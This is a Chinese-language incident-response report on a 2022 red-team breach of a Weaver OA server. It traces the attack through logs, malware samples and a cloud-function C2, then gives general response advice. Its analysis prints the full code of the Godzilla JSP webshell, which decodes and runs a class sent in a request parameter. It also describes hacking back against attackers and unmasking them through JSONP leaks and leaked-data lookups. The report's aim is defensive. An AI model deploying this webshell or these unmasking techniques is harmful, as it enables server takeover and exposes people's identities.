|

作者简介:赖杨健,WIS-HUNTER资深安全架构师,17年以上安全行业工作经验,白帽黑客;曾供职于启明星辰、爱立信、阿朗、上汽国内大型企业;多次承担过某金融企业护网行动保障及攻防演练负责人;多次参加过某市红蓝对抗实战,担任红蓝队总指挥。 一、事件概述
事件现象:漏洞攻击事件,接到紫队演习指挥部通知,我司收到漏洞攻击线索IP:202.56.102.67(哈哈,IP已经漂白不用去连接访问了),确认199机器沦陷。
事件原因:漏洞利用,上传webshell后门,使用多级代理应用程序作为跳板机内网横向移动。
开始处理时间:2022年08月04日9:00
处理结束时间:2022年08月05日3:00
二、红蓝对抗企业价值
2.1 “红蓝对抗”目标
(1) 战略层面:摸底企业信息安全保障能力,提升安全防御能力。
(2) 执行层面:以查带打,抓薄弱环节;以点带面,定责促改进;
(3) 落地层面:实战攻击,检验防御体系有效性,找风险,找方向。
2.2 红蓝对抗企业价值
(1) 检验整体安全态势和防护水平,检验企业安全防护体系:态势感知、防护阻断、响应溯源的能力,完成安全闭环;
(2) 梳理风险盲点和攻防场景,梳理系统每个攻击面、路径,分离出关键场景;
(3) 提高公司全员安全意识,提升安全防御能力。
实战对抗价值在于挖掘渗透测试不关注的漏洞或者渗透测试无法覆盖的点。进攻是最好防守,是传统安全建设工作的外延,旨在通过实战来强化企业的整体安全性,也是检验企业安全能力真实水位。
2.3 企业蓝队防御推荐组织架构
首先这是推荐组织架构,也是杀手锏攻防实验室给很多客户服务后最佳实践。供阅读的技术人员和管理人员作为参考。按照一般中型互联网企业,都具备以下实际组织架构:
(1) 安全测试小组7人:上线安全测试,安全需求评审,内部代码审计,渗透测试,红蓝对抗,漏洞扫描。
(2) 安全运营小组12人: 设备维护,安全策略配置,日志管理(收集与分析),主机安全层面核查(合规核查,口令,中间件,补丁),威胁情报管理(SRC,厂商情报订阅)。
(3) 合规小组(达摩剑)3人: 关基,等保2.0合规,ISO27001,ISO27701(隐私安全体系,对标GDPR),密评,证券行业标准,保证体系组织内安全制度落实与执行。公关事务(公关,法务,市场部门参与)。
(4) 安全开发小组6人:安全系统开发,赋能,自动化渗透,漏洞生命管理,多设备融合。
(5) 风控小组3名:业务安全防护,薅羊毛,抢红包,能力:反爬虫,大数据,数据分析,黑产有一定了解,黑产渠道, 有一定攻防对抗经验。
但是我们在实际红蓝对抗时候,赖老师推荐以下临时虚拟组织架构:

从甲方视角:这样布局的好处,可以规范每人角色定位,甲方的管理者可以关注在整体防御体系的把握。
从乙方视角:就是采用前场后场支持方式。按照团队采用前后场客户支持模式,我们后场大脑在实验室内部,提供一流的技术支持。前场小脑在客户现场落实每天日常工作。

三、攻击溯源分析策略
3.1 应急响应流程

3.1.1 溯源分析经典思路:
分析思路:IP -》端口-》服务-》应用-》日志,流量,网络关系
大道至简,老师通过自己实践,建议采用如下思维模三点。当然不是说只是唯一三点。可以根据不同系统不用企业来设定不同场景的溯源分析思路。这是只是推荐思路。

在发现有入侵者后,快速由守转攻,进行精准地溯源反制,收集攻击路径和攻击者身份信息,勾勒出完整的攻击者画像。

3.1.2 攻击源捕获
- 安全设备报警,如扫描IP、威胁阻断、病毒木马、入侵事件等;
- 日志与流量分析,异常的通讯流量、攻击源与攻击目标等;
- 服务器资源异常,异常的文件、账号、进程、端口,启动项、计划任务和服务等;
- 邮件钓鱼,获取恶意文件样本、钓鱼网站URL等;
- 蜜罐系统,获取攻击者行为、意图的相关信息。
3.1.3 溯源反制手段
3.1.3.1 IP定位技术
根据IP定位物理地址—代理IP。
溯源案例:通过IP端口扫描,反向渗透服务器进行分析,最终定位到攻击者相关信息。
3.1.3.2 ID追踪术
ID追踪术,搜索引擎、社交平台、技术论坛、社工库匹配。
溯源案例:利用ID从技术论坛追溯邮箱,继续通过邮箱反追踪真实姓名,通过姓名找到相关简历信息。
3.1.3.3 网站URL
域名Whois查询—注册人姓名、地址、电话和邮箱。域名隐私保护。
溯源案例:通过攻击IP历史解析记录/域名,对域名注册信息进行溯源分析。
3.1.3.4 恶意样本
提取样本特征、用户名、ID、邮箱、C2服务器等信息—同源分析,由于云原生的出现,2022年开始出现最新通过云函数隐藏C2服务器IP地址案例。在分析是时候需要靠经验。
溯源案例:样本分析过程中,发现攻击者的个人ID和QQ,成功定位到攻击者。
3.1.3.5 社交账号
基于JSONP跨域,获取攻击者的主机信息、浏览器信息、真实 IP及社交信息等。
利用条件:可以找到相关社交网站的jsonp接口泄露敏感信息,相关网站登录未注销。
3.1.4 攻击者画像
3.1.4.1 攻击路径
攻击目的:拿到权限、窃取数据、获取利益、DDOS等。
网络代理:代理IP、跳板机、C2服务器等。
攻击手法:鱼叉式邮件钓鱼、Web渗透、水坑攻击、近源渗透、社会工程等。
3.1.4.2 攻击者身份画像
虚拟身份:ID、昵称、网名。
真实身份:姓名、物理位置。
联系方式:手机号、qq/微信、邮箱。
组织情况:单位名称、职位信息。
四、安全事件诊断分析过程
4.1 确认基本信息
4.1.1 受害对象信息:
目标系统名称:泛微OA系统
服务器IP:外网202.56.102.67/内网:10.162.1.199
URL:http://10.162.1.199:5050 8999 5222 7070
http://202.56.102.67:5050/wui/index.html
http://202.56.102.67:8999/
网络配置
端口开放情况 5050 8999 5222 7070
系统时间是否准确 是
系统持续运行时间 持续运行5天
4.1.2 攻击对象信息:
攻击IP :
http://service-lit16wv7-1306583579.sh.apigw.tencentcs.com
46.3.241.36
117.61.27.2
攻击手段:
(哈哈,这个是难点)红队通过上传webshell木马,采用最新云原生serverless隐藏技术。IP地址:http://service-lit16wv7-1306583579.sh.apigw.tencentcs.com 云函数调用C2地址实现,使用哥斯拉内存马。上传proxy.exe文件(及其变种文件)执行代理转发做内网横向移动。
4.2 溯源分析过程
4.2.1 问题现象
4.2.1.1 现象:
接到上级单位发送红队攻击信息如下:

红队在Windows利用漏洞创建超级用户。详细见下图。

在系统里面发现了被上传了webshell恶意文件。
4.2.1.2 攻击事件线日志追踪:
通过分析确认一下攻击链路:

2022年07月25日 17:22:44,红队通过IP:46.3.241.36,这是代理池IP,IP源自于俄罗斯,主要做漏洞扫描攻击,有发现爆破,溢出漏洞,目录遍历行为。
2022年07月27日 21:08:56,红队通过IP:117.61.27.2 ,采用注入攻击。
2022年8月2日15:40,通过告警发现有java反序列化漏洞攻击事件。
2022年8月2日17:26,红队上传 webshell后门文件,路径为:H:\weaver\ecology\report.jsp,确认10.162.1.199系统被攻破沦陷。
2022年8月3日11:11,红队上传其他后门文件,路径为:H:\weaver\ecology\uptime.jsp、H:\weaver\ecology\times.jsp。
2022年08月03日15:53,管理员发现199主机增加proxy.exe文件,并且删除文件。
4.2.1.3 确认攻击者IP:
10.162.1.199(作为红队跳板机走隧道过来),实际webshell地址:http://service-lit16wv7-1306583579.sh.apigw.tencentcs.com
4.2.1.4 诊断时间范围:
从今年HVV时间范围诊断分析,从2022.7.25 到2022.8.3 所有异常日志信息。
诊断分析时间范围从2022.8.2 15:40 到2022.8.3 15:38 所有创建的文件。
4.2.1.5 攻击点关键日志:
通过日志分析8月2日,确认红队上传report.jsp webshell文件行为。
4.2.2 【高危】系统分析
4.2.2.1 系统诊断:
通过系统诊断,本机为windows2012R2 系统。管理员密码非常复杂,爆破账号成功几率非常小。

通过诊断,系统存在补丁打了141个补丁程序,说明已经打过补丁。

4.2.2.2 端口开放:
通过扫描199本机端口发现445 ,80,3389,135,5222,49154,49153,7070,1433,1434,49152,5050,2383,9090开放端口太多,攻击面太大。


4.2.2.3 web 应用:
4.2.2.3.1 5050端口:
泛微OA系统E-cology v9.0


4.2.3 【高危】日志分析
4.2.3.1 应用日志:
2022年07月25日 17:22:44,红队通过46.3.241.36 ,这是代理池IP,IP源自于俄罗斯,主要做漏洞扫描攻击,有发现爆破,溢出漏洞,目录遍历行为。

红队采用溢出漏洞攻击手法攻击,详细见下图。

在25/Jul/2022:08:56:28,内部IP:10.162.72.125 ,频繁的访问/mlda,通过调研这个应用系统主页面。
事件2:
在27/Jul/2022:21:08:56 北京IP:117.61.27.2 ,采用sql注入攻击。详细见下图,系统已经被攻破。

事件3:
7月28日 06:21:56,红队IP 27.189.130.65,确定IP源为廊坊,走代理池。做了以下行为:
利用目录扫描,尝试目录遍历查询/etc/passwd 密码文件,但是本机系统为windows,只是作为尝试。后面开始尝试win.ini文件读取。尝试上传木马行为,详细见下图。

上图为7月28日 06:21:56 发现webshell 红队投毒一句话木马。内网扫描。
10.162.72.125 - - [25/Jul/2022:08:56:28 +0800] "GET /mlda HTTP/1.1" 200 22106 通过8月2日确认红队上传report.jsp webshell行为。

4.2.3.2 windows 日志:
通过系统日志发现有攻击行为。详细见下图。

c:\users\public\videos

4.2.3.3 安全产品日志:
通过关键日志确认,在8月2日15:40:43 系统存在漏洞攻击安全事件。红队通过JAVA反序列化漏洞攻击系统。

FW 日志:8月2日13:08:20

WAF 日志:8月2日15:40 显示java反序列化漏洞攻击

EDR 报警日志,管理员及时阻断,并且扫描系统恶意程序ts.exe,确认为CS client 应用程序。

4.2.4 【安全】进程分析
通过沙箱分析恶意程序启动了代理程序proxy.exe, 通过隧道走本机1081到云端服务器C2地址:http://service-lit16wv7-1306583579.sh.apigw.tencentcs.com,红队水平可以采用最新serverless云函数隐藏技术。这方面给红队点赞。

发现隐蔽攻击隧道,在199本地分析同样结果。
红队启动proxy.exe 程序,通过netstat 命令发现本机端口给本机发送端口1081,确定走隧道通信。

4.2.5 【高危】文件分析

哥斯拉webshell 文件

cs反弹shell远控木马, 被杀毒软件及时清理掉ts.exe

多级代理程序
通过沟通以下文件为7月25日~8月3日之间创建的文件。明显是红队上传带来程序文件。

4.2.6 【高危】后门诊断
4.2.6.1 webshell木马
8月2日17:26, 红队通过漏洞利用上传webshell后门文件 Report.jsp ,诊断分析代码特征确定为哥斯拉工具。路径H:\weaver\ecology\report.jsp

通过日志分析8月2日,确认红队上传report.jsp webshell文件行为。

通过webshell管理工具哥斯拉上传多级代理程序wsc_proxy.exe isass.exe。

4.2.6.2 后门文件Report.jsp分析
攻击载体:report.jsp,ts.exe,wsc_proxy.exe,isass.exe
分析了Report.jsp文件信息,有base64加密行为。通过本地哥斯拉工具新创一个后门文件对比。基本上确定为哥斯拉webshell文件特征。

下图为Report.jsp

<%@ page import=&#34;java.lang.reflect.InvocationTargetException&#34; %>
<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {java.lang.reflect.Method defineCMethod = ClassLoader.class.getDeclaredMethod(&#34;defin&#34;+&#34;eClass&#34;,new Class[]{byte[].class, int.class, int.class});defineCMethod.setAccessible(true);return (Class) defineCMethod.invoke(this, b, 0, b.length);}}
public byte[] B(String str) throws Exception {try {Class Z = Class.forName(&#34;sun.misc.BASE64Decoder&#34;);return (byte[]) //加密点 Z.getMethod(&#34;decodeBuffer&#34;, String.class).invoke(Z.newInstance(), str);} catch (Exception e) {Class Z=Class.forName(&#34;java.util.Base64&#34;);Object decoder=Z.getMethod(&#34;getDecoder&#34;).invoke(null);return (byte[])decoder.getClass().getMethod(&#34;decode&#34;,String.class).invoke(decoder,str);}}%>
<%String A = request.getParameter(&#34;qaxchybeta&#34;);if (A!=null){new U(this.getClass().getClassLoader()).g(B(A)).newInstance().equals(pageContext);}%> //函数调用qaxchybeta 参数溯源分析到奇安信攻击队相关信息。
通过分析3个webshell 相关文件代码,
String xc = &#34;d6436bed133f8838&#34;;
String pass = &#34;qaxateam&#34;;
String md5 = md5(pass + xc); 发现奇安信攻击队的攻击信息qaxateam,而且加密信息通过pass加上xc字符组成。
4.2.6.3 后门文件uptime.jsp分析
分析代码,发现qaxateam 信息可以估计是奇安信攻击队或者其他攻击队估计伪装。这里看看就行了。

4.2.6.4 后门文件times.jsp分析
通过分析代码,也同样得到相关信息。

4.3 病毒样本分析
由于通过分析日志和进程是无法确定C2服务器IP地址。只有通过病毒样本分析确认。此文最难的点就是确认和分析C2服务器的IP地址。
4.3.1 样本IOC信息

4.3.2 样本分析
wsc_proxy.exe多级代理样本其实是白加黑远控木马,针对该样本分析后发现,wsc.dll文件为远控木马文件,该恶意文件由白文件wsc_proxy.exe执行(即DLL侧加载技术),恶意样本执行后会连接远程服务器地址“service-lit16wv7-1306583579.sh.apigw.tencentcs.com”进行加密通信及木马远控操作,借助腾讯云函数进行中转完成木马通信,从而隐藏真正的C2服务器。

请求腾讯云函数流量如下:

动态运行时样本连接的腾讯云函数对应的IP如下:

4.4 防守反击成果
1. 通过删除恶意程序proxy.exe,lsass.exe,wsc_proxy.exe
2. 删除webshell后门文件Report.jsp,uptime.jsp,times.jsp
3. 溯源分析到红队IP和攻击路径。
4.5 安全建议
(1) 梳理防火墙策略,关闭不需要对外开放的端口。
(2) 做好网站备案。
(3) 采购流量检测类,日志分析类,阻断类安全产品,对应用系统进行防护。
(4) 采购网站防篡改产品。
(5) 采购网站监控服务、应急响应服务。
五、漏洞攻击溯源总结

5.1 响应
根据以上实战例子,我们可以总结如下通用场景。
(1)判断事件类型
事件类型分为7类:大规模主机沦陷、挖矿病毒、勒索病毒、无文件攻击、不死(顽固)马、钓鱼攻击、数据劫持。
去应急响应肯定会收到通知:上级部门的通报、客户自己发现的情况、现场安服发现的问题。根据这些情报先判断出需要出应急的是什么事件类型。但是要记住“情报是带有失真率和主观性的,并且以上场景很多情况下并不会单独出现。”最后还是需要应急人员自己靠经验与客观事实去判断。
(2)保持第一现场
第一现场包含:第一发现人、第一情报、失陷主体/群体、主体/群体行为、失陷环境。
这个“保持”是指在尽可能实现的情况下去保留。因为谁被打穿了都会慌,一慌都会推卸责任(包括我自己),或者消灭痕迹,这无疑是帮助了攻击者实现渗透的最后一步。
这个“第一”是指最先发现情况的人,这个人所说的情况。发现的被攻陷的主体,最好是用镜像把系统和流量先下载下来。时间越延迟,这个“第一”事实的失真率越高,所以要安服和溯源分析人员做好配合。
(3)信息收集
这一步与渗透测试的第一步信息收集差不多,即使前面两个高度失真,这一步仍可以让整个响应起死回生,但是这一步没做好将会影响后续所有操作。
信息收集主要是做:流量、日志、可疑进程的内存、失陷系统镜像、恶意样本、客户资产收集、资产相关漏洞测试报告、防御设备的日志。【请注意:确认有索取这些信息的权限】
5.2 阻断
所谓阻断只有三步:关站、关服务、拔网线。
(1)切断网络
情况分很多种:失陷后业务仍正常运行、失陷后业务受滞、失陷后业务停摆。不同的情况,网络切断因地制宜。
切断网络的目的:观察病毒行为、观察流量特征、阻断对内通信、阻断对外连接。
(2)阻断传播
传播包括:对内传播(感染)、对外传播(外联)
对内传播(感染):进程注入/迁移、第三方软件感染、服务传播(ftp/ssh爆破等)
对外传播(外联):挖矿行为、外联攻击、c2通信
阻断传播应从:软件层面、流量层面、代码层面、网络层面。例如:排查软件被劫持、排查流量发现无文件落地、利用代码审计发现容器加载内存马、阻断网络发现通过服务传播的病毒。
(3)隔离核心资产/隔离受害主体(群体)
这一步是应急响应的最终目的,无论实施过程如何、无论使用什么工具都必须保证被保护与沦陷方的隔离。
隔离核心资产是为了做到三个原则:保护、避害、不损害。
隔离受害主体(群体)是为了保护第一现场、收集攻击者信息等。
5.3 诊断分析
(1)基于日志的溯源
使用路由器、主机等设备记录网络传输的数据流中的关键信息(时间、源地址、目的地址),追踪时基于日志查询做反向追踪。
这种方式的优点在于兼容性强、支持事后追溯、网络开销较小。但是同时该方法也受性能、空间和隐私保护等的限制,考虑到以上的因素,可以限制记录的数据特征和数据数量。另外可以使用流量镜像等技术来减小对网络性能的影响。
(2)关联分析方法
关联分析用于把多个不同的攻击样本结合起来。
文档类
- hash
- ssdeep
- 版本信息(公司/作者/最后修改作者/创建时间/最后修改时间)
行为分析
可执行文件相似性分析
- 特殊端口
- 特殊字符串/密钥
- PDB文件路径:相似的文件夹
代码复用
(3)日志、流量、样本分析
诊断分析是前提是提炼,提炼出关键信息分析。而提炼的前提是熟悉,了解攻击手法,红蓝同源。
分析三大件:日志、流量、样本。
日志主要注意的是:时间、动作、结果;这个行为什么时候开始、什么时候结束,这个动作是登陆、退出、修改等、造成的结果是登陆成功/失败、上传/下载了文件、执行了代码等。
流量主要注意的是:状态码、交互过程、数据合理性;每一次交互的状态码,交互过程中是否符合该种协议的正确交互过程,每个字段的填充、每次流量的渲染是否正常。
样本主要注意的是:启动方式、伪装方式、作用;根据启动方式去选择沙箱或者分析工具;伪装方式判断是否加壳做免杀和打击方式;根据作用去判断受害范围。
粗略的分为静态和动态,日志属于静态信息需要溯源分析人员清晰分辨出日志表达的内容和快速筛选出可疑的点。流量和样本属于动态信息,溯源分析人员需要拥有一定的渗透能力去分辨交互行为。
(4)行为分析&还原攻击过程
从行为出发,还原攻击路径,推演攻击过程。
行为分析基于三大件分析,结合系统表现出来的情况做分析,例如:启动项、启动脚本、进程、内存等。
还原攻击过程需要对攻击大致的情况有一个综合判断,可以理解为——威胁模型建立(SDL),必须具备渗透能力,再此基础上放入沙箱重新复现攻击过程,对后续的步骤提供帮助。
5.4 清除
我们要做的与渗透无异——“做好清除,藏好自己”。
(1)非对抗情况下
在不存在对抗的情况下,最极端就是全盘重装,稍次就是数据迁移后对系统盘重装。在普通情况下,我们可以进行针对性的杀进程、删文件、杀软清除。
(2)存在对抗情况下
对抗情况就是:顽固马与不死马存在,或者被持续攻击(APT)。
这样的情况下,首选是在允许情况下打补丁,再恢复。找到攻击行为的源头,先补上漏洞再清除。
5.5 加固
加钱才是硬道理。本来安全就是基础设施投入,原来没有投入,在红蓝对抗实战阶段发生此事。唯一补救办法就是把原来的欠账还掉。
加固没啥好讲的,打补丁、对系统进行限制(网络隔离、行为管理等)、升级防御设备、完善防御流程(防御设备的部署、人员的部署、规则库的升级)。
- End - |
|